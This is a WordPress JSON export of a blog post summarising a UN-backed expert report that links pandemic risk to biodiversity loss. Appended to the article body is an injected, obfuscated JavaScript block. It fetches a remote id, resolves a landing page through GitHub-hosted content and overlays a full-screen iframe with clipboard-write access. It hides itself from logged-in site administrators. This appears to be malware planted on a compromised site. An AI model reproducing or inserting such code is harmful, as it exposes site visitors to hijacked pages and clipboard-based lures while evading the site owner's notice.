{"id":840,"date":"2020-10-30T17:09:58","date_gmt":"2020-10-30T16:09:58","guid":{"rendered":"http:\/\/actforyourplanet.com\/?p=840"},"modified":"2026-05-22T23:08:35","modified_gmt":"2026-05-22T21:08:35","slug":"pandemics-will-emerge-more-often-cause-greater-damage","status":"publish","type":"post","link":"https:\/\/actforyourplanet.com\/index.php\/2020\/10\/30\/pandemics-will-emerge-more-often-cause-greater-damage\/","title":{"rendered":"Pandemics will emerge more often and kill more people"},"content":{"rendered":"<h3>Future pandemics will emerge more often, spread more rapidly, cause greater damage to the global economy and kill more people than COVID-19, international experts warned in a UN-backed report published on Thursday.<\/h3>\n<h3>Science proves risk can be lowered.<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-844 alignright\" src=\"http:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemic-death--300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemic-death--300x169.jpg 300w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemic-death--768x432.jpg 768w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemic-death--1024x576.jpg 1024w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemic-death--750x422.jpg 750w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemic-death-.jpg 1280w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/h3>\n<p>&nbsp;<\/p>\n<p>However, pandemic risk can be significantly lowered, the experts said, through greater conservation of protected areas, and other measures to reduce human activities that contribute to biodiversity loss.<\/p>\n<p>This will in turn reduce wildlife-livestock-human contact and help avert the spillover of new diseases.<\/p>\n<p>\u201cThe overwhelming scientific evidence points to a very positive conclusion\u201d, said Dr. Daszak.<\/p>\n<p>\u201cWe have the increasing ability to prevent pandemics \u2013 but the way we are tackling them right now largely ignores that ability. Our approach has effectively stagnated \u2013 we still rely on attempts to contain and control diseases after they emerge, through vaccines and therapeutics. We can escape the era of pandemics, but this requires a much greater focus on prevention in addition to reaction.\u201d<\/p>\n<p>The \u201cbusiness as usual\u201d approach of relying on response to diseases after they emerge is a \u201cslow and uncertain path\u201d, the experts charged, and can also threaten biodiversity.<\/p>\n<p>Furthermore, they estimate that economic impacts are 100 times the estimated cost of prevention.<\/p>\n<h3>\u2018Escaping the era of pandemics\u2019<\/h3>\n<p>The Intergovernmental Science-Policy Platform on Biodiversity and Ecosystem Services (<a href=\"https:\/\/ipbes.net\/\">IPBES<\/a>) is an independent body comprising more than 130 member Governments.<\/p>\n<p>However, the report has\u00a0not been discussed and accepted by the IPBES plenary and is not, therefore, an intergovernmental product.\u00a0\u00a0It represents the expertise and evidence of the 22 experts who participated in the workshop.<\/p>\n<p>They said it is estimated that\u00a0another 1.7 million unknown viruses currently exist in mammals and birds, up to 850,000 of which could potentially infect humans.<\/p>\n<p>\u201cEscaping the era of pandemics is possible\u201d, the experts said, but will require \u201ca seismic shift\u201d in approach, from reaction to prevention.<\/p>\n<p>Their recommendations include establishing a high-level intergovernmental council on pandemic prevention, to provide decision-makers with the best science and evidence on emerging diseases; and to evaluate the potential economic impacts. \u00a0Members would also coordinate the design of a global monitoring mechanism.<\/p>\n<p>Countries could also set mutually-agreed goals or targets under an international accord or agreement, with clear benefits for people, animals and the environment.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-836 alignright\" style=\"font-family: Helvetica, sans-serif; font-size: 13px; font-style: normal; font-variant-caps: normal; caret-color: #454545; color: #454545;\" src=\"http:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemie-covid--300x200.jpeg\" alt=\"\" width=\"149\" height=\"99\" srcset=\"https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemie-covid--300x200.jpeg 300w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemie-covid--768x512.jpeg 768w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemie-covid--750x500.jpeg 750w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/pandemie-covid-.jpeg 924w\" sizes=\"auto, (max-width: 149px) 100vw, 149px\" \/><\/p>\n<p>The report also called for enabling changes to reduce the types of consumption, globalized agricultural expansion and trade that have led to pandemics, for example through taxes or levies on meat consumption, livestock production and other forms of high pandemic-risk activities.<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? 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Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; 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i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); 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event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Future pandemics will emerge more often, spread more rapidly, cause greater damage to the global economy and kill more people than COVID-19, international experts warned in a UN-backed report published on Thursday. Science proves risk can be lowered. &nbsp; However, pandemic risk can be significantly lowered, the experts said, through greater conservation of protected areas, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":841,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","footnotes":""},"categories":[17],"tags":[],"class_list":["post-840","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-energy-en"],"_links":{"self":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/840","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/comments?post=840"}],"version-history":[{"count":6,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/840\/revisions"}],"predecessor-version":[{"id":1528,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/840\/revisions\/1528"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/media\/841"}],"wp:attachment":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/media?parent=840"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/categories?post=840"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/tags?post=840"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}